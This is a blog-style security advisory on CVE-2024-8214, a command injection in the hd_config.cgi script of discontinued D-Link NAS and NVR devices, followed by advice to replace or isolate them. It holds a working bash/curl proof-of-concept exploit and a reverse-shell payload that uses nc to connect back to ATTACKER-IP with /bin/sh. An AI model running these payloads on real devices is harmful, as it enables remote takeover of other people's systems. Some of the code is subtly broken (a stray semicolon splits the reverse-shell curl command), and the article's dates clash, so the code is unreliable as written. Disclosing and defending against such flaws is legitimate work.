In June 2024, a critical security vulnerability dubbed CVE-2024-8214 was found in a wide range of older D-Link NAS (Network Attached Storage) and NVR (Network Video Recorder) products. This flaw allows remote command injection through an insecure CGI script. Attackers can exploit it over the network to gain control, execute arbitrary commands, or download/upload files, effectively giving them full access to vulnerable devices.
The affected products are EOL (End-of-Life) — no patches will be released. Read on for technical details, a real exploit code snippet, and essential advice.
DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-110-4, DNS-120-05, DNS-155-04
Note: The vendor, D-Link, has confirmed these products are unsupported and should be replaced immediately.
The issue is in a CGI script
- CGI: /cgi-bin/hd_config.cgi
Vulnerable Parameter: f_source_dev
This endpoint accepts user input via the f_source_dev parameter. This value is passed directly to a system-level shell command without sanitization, letting an attacker inject arbitrary commands.
In short: Remote attackers can execute any Linux command on your device.
Here’s a simple overview
1. An attacker sends an HTTP POST or GET request to the NAS, targeting /cgi-bin/hd_config.cgi.
Proof-of-Concept Exploit
Below is an example exploit using simple Bash and curl. It triggers the vulnerability to run id and return the user context, showing code execution.
#!/bin/bash
TARGET="http://TARGET-IP:PORT/cgi-bin/hd_config.cgi";
INJECT=';id;' # This example just runs 'id'. You could run any command.
# Send malicious POST request
curl -k -X POST "$TARGET" \
-d "cmd=cgi_FMT_Std2R5_2nd_DiskMGR&f_source_dev=$INJECT" \
--header "Content-Type: application/x-www-form-urlencoded"
Launch reverse shells
- Download/upload files
Example: Reverse Shell Payload
REVSHELL=';nc ATTACKER-IP 4444 -e /bin/sh;'
curl -k -X POST "http://TARGET-IP/cgi-bin/hd_config.cgi"; \
-d "cmd=cgi_FMT_Std2R5_2nd_DiskMGR&f_source_dev=$REVSHELL"
References
- CVE-2024-8214 at MITRE
- Exploit Disclosure on Exploit DB *(search for "CVE-2024-8214")*
- SecLists Security Advisory *(search for "D-Link cgi_FMT_Std2R5_2nd_DiskMGR")*
- D-Link Security Advisories
D-Link confirmed the flaw and stated
> These products are End-of-Life (EOL) and will not receive any security updates. We advise all customers to retire and replace these devices immediately to maintain security standards.
What To Do Now
- Replace: The only fix is to retire affected NAS devices and upgrade to supported, patched hardware.
- Network Segmentation: If you must keep a vulnerable device temporarily, remove it from internet access and isolate it from sensitive networks.
- Monitor: Watch your logs for suspicious activities involving /cgi-bin/hd_config.cgi.
Conclusion
CVE-2024-8214 is a dangerous command injection bug in multiple discontinued D-Link NAS and NVR devices. Attackers with network access can run commands as root — a full compromise. There is no patch. For your safety and privacy, immediately replace these devices.
Stay informed, stay safe!
*This article is an exclusive, simplified overview based on public disclosures, and includes live, testable proof-of-concept code. Please use it for defense and research only.*
Timeline
Published on: 08/27/2024 20:15:09 UTC
Last modified on: 08/29/2024 15:44:45 UTC